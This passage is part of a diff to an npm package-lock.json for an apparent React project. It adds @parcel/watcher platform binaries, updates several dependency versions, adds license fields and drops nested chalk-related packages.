+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz",
+      "integrity": "sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==",
+      "cpu": [
+        "arm"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-linux-arm64-glibc": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz",
+      "integrity": "sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-linux-arm64-musl": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz",
+      "integrity": "sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-linux-x64-glibc": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz",
+      "integrity": "sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-linux-x64-musl": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz",
+      "integrity": "sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-win32-arm64": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz",
+      "integrity": "sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-win32-ia32": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz",
+      "integrity": "sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==",
+      "cpu": [
+        "ia32"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-win32-x64": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz",
+      "integrity": "sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
     "node_modules/@pkgjs/parseargs": {
       "version": "0.11.0",
       "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz",
       "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==",
+      "license": "MIT",
       "optional": true,
       "engines": {
         "node": ">=14"
       }
     },
     "node_modules/@pmmmwh/react-refresh-webpack-plugin": {
-      "version": "0.5.11",
-      "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.11.tgz",
-      "integrity": "sha512-7j/6vdTym0+qZ6u4XbSAxrWBGYSdCfTzySkj7WAFgDLmSyWlOrWvpyzxlFh5jtw9dn0oL/jtW+06XfFiisN3JQ==",
+      "version": "0.5.17",
+      "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.17.tgz",
+      "integrity": "sha512-tXDyE1/jzFsHXjhRZQ3hMl0IVhYe5qula43LDWIhVfjp9G/nT5OQY5AORVOrkEGAUltBJOfOWeETbmhm6kHhuQ==",
+      "license": "MIT",
       "dependencies": {
-        "ansi-html-community": "^0.0.8",
-        "common-path-prefix": "^3.0.0",
+        "ansi-html": "^0.0.9",
         "core-js-pure": "^3.23.3",
         "error-stack-parser": "^2.0.6",
-        "find-up": "^5.0.0",
         "html-entities": "^2.1.0",
         "loader-utils": "^2.0.4",
-        "schema-utils": "^3.0.0",
+        "schema-utils": "^4.2.0",
         "source-map": "^0.7.3"
       },
       "engines": {
@@ -3309,7 +3382,7 @@
         "sockjs-client": "^1.4.0",
         "type-fest": ">=0.17.0 <5.0.0",
         "webpack": ">=4.43.0 <6.0.0",
-        "webpack-dev-server": "3.x || 4.x",
+        "webpack-dev-server": "3.x || 4.x || 5.x",
         "webpack-hot-middleware": "2.x",
         "webpack-plugin-serve": "0.x || 1.x"
       },
@@ -3335,9 +3408,9 @@
       }
     },
     "node_modules/@pmmmwh/react-refresh-webpack-plugin/node_modules/html-entities": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz",
-      "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==",
+      "version": "2.6.0",
+      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.6.0.tgz",
+      "integrity": "sha512-kig+rMn/QOVRvr7c86gQ8lWXq+Hkv6CbAH1hLu+RG338StTpE8Z0b44SDVaqVu7HGKf27frdmUYEs9hTUX/cLQ==",
       "funding": [
         {
           "type": "github",
@@ -3347,12 +3420,14 @@
           "type": "patreon",
           "url": "https://patreon.com/mdevils"
         }
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/@reduxjs/toolkit": {
       "version": "1.9.7",
       "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-1.9.7.tgz",
       "integrity": "sha512-t7v8ZPxhhKgOKtU+uyJT13lu4vL7az5aFi4IdoDs/eS548edn2M8Ik9h8fxgvMjGoAUVFSt6ZC1P5cWmQ014QQ==",
+      "license": "MIT",
       "dependencies": {
         "immer": "^9.0.21",
         "redux": "^4.2.1",
@@ -3376,6 +3451,7 @@
       "version": "5.3.1",
       "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz",
       "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-module-imports": "^7.10.4",
         "@rollup/pluginutils": "^3.1.0"
@@ -3398,6 +3474,7 @@
       "version": "11.2.1",
       "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz",
       "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==",
+      "license": "MIT",
       "dependencies": {
         "@rollup/pluginutils": "^3.1.0",
         "@types/resolve": "1.17.1",
@@ -3417,6 +3494,7 @@
       "version": "2.4.2",
       "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz",
       "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==",
+      "license": "MIT",
       "dependencies": {
         "@rollup/pluginutils": "^3.1.0",
         "magic-string": "^0.25.7"
@@ -3429,6 +3507,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz",
       "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==",
+      "license": "MIT",
       "dependencies": {
         "@types/estree": "0.0.39",
         "estree-walker": "^1.0.1",
@@ -3444,22 +3523,32 @@
     "node_modules/@rollup/pluginutils/node_modules/@types/estree": {
       "version": "0.0.39",
       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz",
-      "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="
+      "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==",
+      "license": "MIT"
+    },
+    "node_modules/@rtsao/scc": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz",
+      "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==",
+      "license": "MIT"
     },
     "node_modules/@rushstack/eslint-patch": {
-      "version": "1.7.2",
-      "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.7.2.tgz",
-      "integrity": "sha512-RbhOOTCNoCrbfkRyoXODZp75MlpiHMgbE5MEBZAnnnLyQNgrigEj4p0lzsMDyc1zVsJDLrivB58tgg3emX0eEA=="
+      "version": "1.12.0",
+      "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.12.0.tgz",
+      "integrity": "sha512-5EwMtOqvJMMa3HbmxLlF74e+3/HhwBTMcvt3nqVJgGCozO6hzIPOBlwm8mGVNR9SN2IJpxSnlxczyDjcn7qIyw==",
+      "license": "MIT"
     },
     "node_modules/@sinclair/typebox": {
       "version": "0.24.51",
       "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.51.tgz",
-      "integrity": "sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA=="
+      "integrity": "sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==",
+      "license": "MIT"
     },
     "node_modules/@sinonjs/commons": {
       "version": "1.8.6",
       "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz",
       "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "type-detect": "4.0.8"
       }
@@ -3468,6 +3557,7 @@
       "version": "8.1.0",
       "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz",
       "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@sinonjs/commons": "^1.7.0"
       }
@@ -3476,6 +3566,7 @@
       "version": "2.2.3",
       "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz",
       "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==",
+      "license": "Apache-2.0",
       "dependencies": {
         "ejs": "^3.1.6",
         "json5": "^2.2.0",
@@ -3487,6 +3578,7 @@
       "version": "5.4.0",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz",
       "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3499,6 +3591,7 @@
       "version": "5.4.0",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz",
       "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3511,6 +3604,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz",
       "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3523,6 +3617,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz",
       "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3535,6 +3630,7 @@
       "version": "5.4.0",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz",
       "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3547,6 +3643,7 @@
       "version": "5.4.0",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz",
       "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3559,6 +3656,7 @@
       "version": "5.4.0",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz",
       "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3571,6 +3669,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz",
       "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -3583,6 +3682,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz",
       "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==",
+      "license": "MIT",
       "dependencies": {
         "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0",
         "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0",
@@ -3605,6 +3705,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz",
       "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==",
+      "license": "MIT",
       "dependencies": {
         "@svgr/plugin-jsx": "^5.5.0",
         "camelcase": "^6.2.0",
@@ -3622,6 +3723,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz",
       "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/types": "^7.12.6"
       },
@@ -3637,6 +3739,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz",
       "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.12.3",
         "@svgr/babel-preset": "^5.5.0",
@@ -3655,6 +3758,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz",
       "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==",
+      "license": "MIT",
       "dependencies": {
         "cosmiconfig": "^7.0.0",
         "deepmerge": "^4.2.2",
@@ -3672,6 +3776,7 @@
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz",
       "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.12.3",
         "@babel/plugin-transform-react-constant-elements": "^7.12.1",
@@ -3691,99 +3796,24 @@
       }
     },
     "node_modules/@testing-library/dom": {
-      "version": "9.3.4",
-      "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-9.3.4.tgz",
-      "integrity": "sha512-FlS4ZWlp97iiNWig0Muq8p+3rVDjRiYE+YKGbAqXOu9nwJFFOdL00kFpz42M+4huzYi86vAK1sOOfyOG45muIQ==",
+      "version": "10.4.0",
+      "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.0.tgz",
+      "integrity": "sha512-pemlzrSESWbdAloYml3bAJMEfNh1Z7EduzqPKprCH5S341frlpYnUEW0H72dLxa6IsYr+mPno20GiSm+h9dEdQ==",
       "dev": true,
+      "license": "MIT",
       "peer": true,
       "dependencies": {
         "@babel/code-frame": "^7.10.4",
         "@babel/runtime": "^7.12.5",
         "@types/aria-query": "^5.0.1",
-        "aria-query": "5.1.3",
+        "aria-query": "5.3.0",
         "chalk": "^4.1.0",
         "dom-accessibility-api": "^0.5.9",
         "lz-string": "^1.5.0",
         "pretty-format": "^27.0.2"
       },
       "engines": {
-        "node": ">=14"
-      }
-    },
-    "node_modules/@testing-library/dom/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dev": true,
-      "peer": true,
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/@testing-library/dom/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dev": true,
-      "peer": true,
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/@testing-library/dom/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dev": true,
-      "peer": true,
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@testing-library/dom/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
-      "dev": true,
-      "peer": true
-    },
-    "node_modules/@testing-library/dom/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "dev": true,
-      "peer": true,
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/@testing-library/dom/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dev": true,
-      "peer": true,
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
+        "node": ">=18"
       }
     },
     "node_modules/@testing-library/jest-dom": {
@@ -3791,6 +3821,7 @@
       "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-5.17.0.tgz",
       "integrity": "sha512-ynmNeT7asXyH3aSVv4vvX4Rb+0qjOhdNHnO/3vuZNqPmhDpV/+rCSGwQ7bLcmU2cJ4dvoheIO85LQj0IbJHEtg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@adobe/css-tools": "^4.0.1",
         "@babel/runtime": "^7.9.2",
@@ -3808,26 +3839,12 @@
         "yarn": ">=1"
       }
     },
-    "node_modules/@testing-library/jest-dom/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dev": true,
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
     "node_modules/@testing-library/jest-dom/node_modules/chalk": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
       "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.1.0",
         "supports-color": "^7.1.0"
@@ -3836,50 +3853,12 @@
         "node": ">=8"
       }
     },
-    "node_modules/@testing-library/jest-dom/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dev": true,
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@testing-library/jest-dom/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
-      "dev": true
-    },
-    "node_modules/@testing-library/jest-dom/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "dev": true,
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/@testing-library/jest-dom/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dev": true,
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@testing-library/react": {
       "version": "11.2.7",
       "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-11.2.7.tgz",
       "integrity": "sha512-tzRNp7pzd5QmbtXNG/mhdcl7Awfu/Iz1RaVHY75zTdOkmHCuzMhRL83gWHSgOAcjS3CCbyfwUHMZgRJb4kAfpA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.12.5",
         "@testing-library/dom": "^7.28.1"
@@ -3897,6 +3876,7 @@
       "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz",
       "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/istanbul-lib-coverage": "^2.0.0",
         "@types/istanbul-reports": "^3.0.0",
@@ -3913,6 +3893,7 @@
       "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-7.31.2.tgz",
       "integrity": "sha512-3UqjCpey6HiTZT92vODYLPxTBWlM8ZOOjr3LX5F37/VRipW2M1kX6I/Cm4VXzteZqfGfagg8yXywpcOgQBlNsQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
